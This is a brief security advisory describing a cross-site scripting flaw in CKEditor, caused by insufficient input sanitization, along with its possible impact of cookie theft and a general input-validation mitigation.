CKEditor Cross-Site Scripting Vulnerability

CKEditor is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically generate HTML or JavaScript code.
